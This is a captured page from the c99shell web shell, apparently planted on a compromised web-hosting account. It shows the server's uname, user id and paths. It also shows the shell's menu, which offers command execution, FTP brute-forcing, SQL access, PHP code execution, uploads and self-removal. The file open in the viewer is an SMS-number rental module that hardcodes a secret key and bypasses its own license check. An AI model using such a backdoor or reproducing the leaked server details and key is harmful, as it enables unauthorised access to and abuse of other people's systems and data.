smsonayla.org - c99shell

!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: LiteSpeed. PHP/7.4.33 

uname -a: Linux server704.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13
UTC 2025 x86_64
 

uid=1309(necipbey) gid=1314(necipbey) groups=1314(necipbey) 

Safe-mode: OFF (not secure)

/home/necipbey/public_html/test/application/libraries/   drwxr-xr-x
Free 3429.55 GB of 4265.01 GB (80.41%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     rent_module.php (15.44 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
$superMegaSecretKey 
'4H5ZvswBGKbTlqxBe8S3';
$domain =  ltrim($_SERVER['HTTP_HOST'], 'www.');
$key hash('sha256'$superMegaSecretKey.$domain.$superMegaSecretKey);
$is_module_licensed $key === $this->config->item('number_rent_license');
$is_module_licensed true;

function 
getServices($api_key$time$country_id$ci) {
    if(
intval($time) >= && intval($time) <= 2016) {
        
$ch curl_init('https://sms-activate.org/stubs/handler_api.php?api_key='.$api_key.'&action=getRentServicesAndCountries&rent_time='.intval($time).'&country='.$country_id);

        
curl_setopt($chCURLOPT_RETURNTRANSFERtrue);
        
$result curl_exec($ch);
        
        
$result json_decode($result) !== null json_decode($result1) : [];
        
curl_close($ch);
        
$services = [];
        if(isset(
$result['services'])) {
            
$CurrencyRate 1;
            
$Currency 'TRY';
            if(
in_array($ci->config->item('money_sign'), ['USD''$''usd'])) {
                
$Currency 'USD';
            }
            
$cachePath './application/cache/currency.temp';
            if(
file_exists($cachePath) && ($fileContent json_decode(file_get_contents($cachePath), 1)) && json_decode(file_get_contents($cachePath)) !== null && $fileContent['day'] === date('Y-m-d') && $fileContent['currency'] == $Currency) {
                
$CurrencyRate $fileContent['rate'];
            }
            else {
                
$ch curl_init('https://www.tcmb.gov.tr/kurlar/today.xml');
                
curl_setopt($chCURLOPT_RETURNTRANSFERtrue);
                
curl_setopt($chCURLOPT_SSL_VERIFYHOSTfalse);
                
curl_setopt($chCURLOPT_SSL_VERIFYPEERfalse);
                
$r curl_exec($ch);
                if(
$Currency == 'TRY') {
                    
$r explode('<Currency CrossOrder="14" Kod="RUB" CurrencyCode="RUB">'$r)[1];
                    
$r explode('</Currency>'$r)[0];
                    
$r explode('<ForexBuying>'$r)[1];
                    
$r explode('</ForexBuying>'$r)[0];
                    
$CurrencyRate floatval(number_format($r4'.'''));
                }
                elseif(
$Currency == 'USD') {
                    
$d $r;
                    
$r explode('<Currency CrossOrder="14" Kod="RUB" CurrencyCode="RUB">'$r)[1];
                    
$r explode('</Currency>'$r)[0];
                    
$r explode('<ForexBuying>'$r)[1];
                    
$r explode('</ForexBuying>'$r)[0];
                    
$CurrencyRate floatval(number_format($r4'.'''));
                    
$r explode('<Currency CrossOrder="0" Kod="USD" CurrencyCode="USD">'$d)[1];
                    
$r explode('</Currency>'$r)[0];
                    
$r explode('<ForexBuying>'$r)[1];
                    
$r explode('</ForexBuying>'$r)[0];
                    
$CurrencyRate $CurrencyRate floatval(number_format($r4'.'''));
                }
                if(
$CurrencyRate == 0) {
                    
$CurrencyRate 0.1;
                }
                else {
                    
file_put_contents($cachePathjson_encode([
                        
'currency' => $Currency,
                        
'rate' => $CurrencyRate,
                        
'day' => date('Y-m-d')
                    ]));
                }
            }
            foreach(
$result['services'] as $key => $service) {
                
$price $service['cost'];
                
$price *= $CurrencyRate;
                
$price += ($price/100) * floatval($ci->config->item('number_rent_commission'));
                
$price number_format($price2'.''');
                
$_service = [
                    
'id' => $key,
                    
'name' => $ci->smsactivate_api->transform_name($key),
                    
'stock' => $service['quant'],
                    
'price' => $price
                
];
                
$services[] = $_service;
            }
        }
        return 
json_encode($servicesJSON_UNESCAPED_UNICODE);
    }
    else {
        
$ci->lang->load('panel');
        return 
json_encode([
            
'error' => true,
            
'message' => $ci->lang->line('rent_time_error')
        ], 
JSON_UNESCAPED_UNICODE);
    }
}

if(
$is_module_licensed && $api !== false) {
    
$api_key $this->config->item('smsactivate_api_key');
    
$this->load->library('smsactivate_api');
    
header('Content-Type: application/json');
    if(
$api == 'GetCountries') {
        
$countries = [];
        
$cachePath './application/cache/rent-countries.temp';
        if(
file_exists($cachePath)) {
            
$fileContent json_decode(file_get_contents($cachePath), 1);
            if(
json_decode(file_get_contents($cachePath)) !== null && $fileContent['day'] === date('Y-m-d')) {
                
$countries $fileContent['data'];
            }
        }
        if(
count($countries) == 0) {
            
$_LANG = isset($_LANG[$this->config->item('language')]) ? $_LANG[$this->config->item('language')] : [];
            
$ch curl_init('https://sms-activate.org/stubs/handler_api.php?api_key='.$api_key.'&action=getRentServicesAndCountries');
            
curl_setopt($chCURLOPT_RETURNTRANSFERtrue);
            
$result curl_exec($ch);
            
$result json_decode($result) !== null && isset(json_decode($result)->countries) ? json_decode($result)->countries : [];
            
$smsActivate_Countries $this->smsactivate_api->get_countries();
            
$smsActivateCountries = [];
            foreach(
$smsActivate_Countries as $country) {
                
$smsActivateCountries[$country['id']] = $country['name'];
            }
            foreach(
$result as $country) {
                
$_country = [
                    
'id' => $country,
                    
'name' => isset($smsActivateCountries[$country]) ? $smsActivateCountries[$country] : $country
                
];
                if(isset(
$_LANG[$_country['name']])) {
                    
$_country['name'] = $_LANG[$_country['name']];
                }
                
$countries[] = $_country;
            }
            if(
count($countries) > 0) {
                
$fileContent = [
                    
'day' => date('Y-m-d'),
                    
'data' => $countries
                
];
                
file_put_contents($cachePathjson_encode($fileContent));
            }
        }
        echo 
json_encode($countriesJSON_UNESCAPED_UNICODE);
    }
    else if(
$api == 'GetServices') {
        echo 
getServices($api_key$time$country_id$this);
    }
    else if(
$api == 'GetNumber') {
        
$this->load->model("api_model");

        
$user $this->api_model->getUserByApiKey($user_api_key);
        if(isset(
$user["id"])) {
            
$services getServices($api_key$time$country_id$this);
            
$data json_decode($services1);
            if(isset(
$data['error'])) {
                print 
$services;
            }
            else {
                
$service array_filter($data, function($d) use ($service_id) {
                    return 
$d['id'] === $service_id;
                });
                if(
count($service) > 0) {
                    foreach(
$service as $s) {$service $s;break;}
                    
$this->lang->load("api");
                    if(
$user["balance"] < $service["price"]) {
                        echo 
json_encode(array(
                            
"success" => false,
                            
"title" => $this->lang->line("number_not_purchased"),
                            
"message" => $this->lang->line("balance_not_enough_message")
                        ));
                    }
                    else {
                        
$ch curl_init('https://sms-activate.org/stubs/handler_api.php?api_key='.$api_key.'&action=getRentNumber&service='.$service_id.'&rent_time='.$time.'&country='.$country_id);
                        
curl_setopt($chCURLOPT_RETURNTRANSFERtrue);
                        
$result curl_exec($ch);
                        
$result json_decode($result1);
                        if(
$result['status'] == 'success') {
                            
$this->api_model->db->set('balance''balance-'.$service['price'], FALSE)->where('id'$user['id'])->update('users');
                            
$this->api_model->db->insert('rent_activations', array(
                                
'number' => '+'.$result['phone']['number'],
                                
'number_id' => $result['phone']['id'],
                                
'service' => $service['name'],
                                
'message' => '',
                                
'user' => $user['id'],
                                
'start_time' => time(),
                                
'end_time' => time() + ($time 3600)
                            ));
                            
$s_id $this->api_model->db->insert_id();
                            
$this->api_model->db->insert('rent_prices', [
                                
'number_id' => $result['phone']['id'],
                                
'price' => $service["price"]
                            ]);
                            
                            echo 
json_encode(array(
                                
"success" => true,
                                
"title" => $this->lang->line("number_purchased"),
                                
"message" => $this->lang->line("number_purchased_message"),
                                
"number_id" => $s_id,
                                
"number" => '+'.$result['phone']['number']
                            ), 
JSON_UNESCAPED_UNICODE);
                        }
                        else {
                            if(
$result['message'] == 'NO_NUMBERS') {
                                echo 
json_encode(array(
                                    
"success" => false,
                                    
"title" => $this->lang->line("number_not_purchased"),
                                    
"message" => $this->lang->line("number_stock_message")
                                ), 
JSON_UNESCAPED_UNICODE);
                            }
                            else {
                                echo 
json_encode(array(
                                    
"success" => false,
                                    
"title" => $this->lang->line("number_not_purchased"),
                                    
"message" => $this->lang->line("internal_error_message")
                                ), 
JSON_UNESCAPED_UNICODE);
                            }
                        }    
                    }
                }
                else {
                    echo 
json_encode(['error' => true'title' => 'Error''message' => 'Invalid Service ID'], JSON_UNESCAPED_UNICODE);
                }
            }
        }

    }
    else if(
$api == 'GetMessage') {
        
$this->load->model("api_model");
        
$user $this->api_model->getUserByApiKey($user_api_key);
        if(isset(
$user["id"])) {
            
$number $this->api_model->db->get_where('rent_activations', array('id' => $number_id'user' => $user['id']))->result_array();
            if(
count($number) > 0) {
                foreach(
$number as $n) {$number $n;break;}
                
$messages json_decode($number['message']) !== null json_decode($number['message'], true) : [];
                
$t time();
                if(
$t $number['end_time']) {
                    
$ch curl_init('https://sms-activate.org/stubs/handler_api.php?api_key='.$api_key.'&action=getRentStatus&id='.$number['number_id']);
                    
curl_setopt($chCURLOPT_RETURNTRANSFERtrue);
                    
$result curl_exec($ch);
                    
$result json_decode($resulttrue);
                    if(
$result['status'] == 'success') {
                        foreach(
$result['values'] as $sms) {
                            
$messages[] = [
                                
'from' => $sms['phoneFrom'],
                                
'message' => $sms['text'],
                                
'time' => strtotime($sms['date'])
                            ];
                        }
                    }
                }
                
$messages array_values(array_unique($messagesSORT_REGULAR));
                
usort($messages, function($a$b) {
                    return 
$a['time'] - $b['time'];
                });
                if(
$t $number['end_time']) {
                    
$this->api_model->db->set('message'json_encode($messages))->where('id'$number_id)->update('rent_activations');
                }
                
$messages array_reverse($messages);
                
$number['message'] = $messages;
                unset(
$number['user']);
                
//unset($number['number_id']);
                
echo json_encode($numberJSON_UNESCAPED_UNICODE);
            }
        }
    } else if (
$api == 'CancelNumber'){
        
$this->load->model("api_model");
        
$user $this->api_model->getUserByApiKey($user_api_key);
        if(!isset(
$user["id"])) {
            echo 
json_encode(array(
                
'success' => false,
                
'title' => 'Hata!',
                
'message' => 'API Key hatalı.'
            
));
            return;
        }
        
$number $this->api_model->db->get_where('rent_activations', array('number_id' => $number_id'user' => $user['id']))->result_array();
        if (
count($number) < 1) {
            echo 
json_encode(array(
                
'success' => false,
                
'title' => 'Hata!',
                
'message' => 'İlgili numara veritabanımızda bulunamadı.'
            
));
            return;
        }
        
$number $number[0];
        
        if (
$number['end_time'] < time()){
            echo 
json_encode(array(
                
'success' => false,
                
'title' => 'Hata!',
                
'message' => 'İlgili numara iptal edilmiş veya süresi dolmuştur.'
            
));
            return;
        }

        if (
$number['message'] !== null && $number['message'] !== '' && !empty(json_decode($number['message']))){
            echo 
json_encode(array(
                
'success' => false,
                
'title' =>  'Hata!',
                
'message' => 'Numaraya mesaj geldikten sonra iptal edilemez.'
            
));
            return;
        }
        
        if ((
time() - $number['start_time']) > 1200){
            echo 
json_encode(array(
                
'success' => false,
                
'title' =>  'Hata!',
                
'message' => 'Alış süresinden 20 dakika geçtikten sonra iptal edilemez.'
            
));
            return;
        }
        
        
$result file_get_contents("https://api.sms-activate.org/stubs/handler_api.php?action=setRentStatus&api_key=$api_key&id=$number_id&status=2");
        
$result json_decode($result);

        if (
$result->status !== 'success'){
            echo 
json_encode(array(
                
'success' => false,
                
'title' =>  'Hata',
                
'message' => 'API Kaynaklı hata oluştu. Hata kodu: ' $result->message
            
));    
            return;
        }
        
        
$price $this->api_model->db->get_where('rent_prices', array('number_id' => $number_id))->result_array();
        if (
count($price) > 0){
            
$price floatval($price[0]['price']);
            
$this->api_model->db->set('balance'floatval($user['balance']) + $price)->where('id'$user['id'])->update('users');
            
$this->api_model->db->set('end_time'time())->where('number_id'$number_id)->update('rent_activations');
        }
        
        echo 
json_encode(array(
            
'success' => true,
            
'title' =>  'Başarılı! ',
            
'message' => 'Numara iptali gerçekleşmiştir, ücretiniz hesabınıza geri yansıtıldı.'
        
));    
    }
    die;
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0069 ]--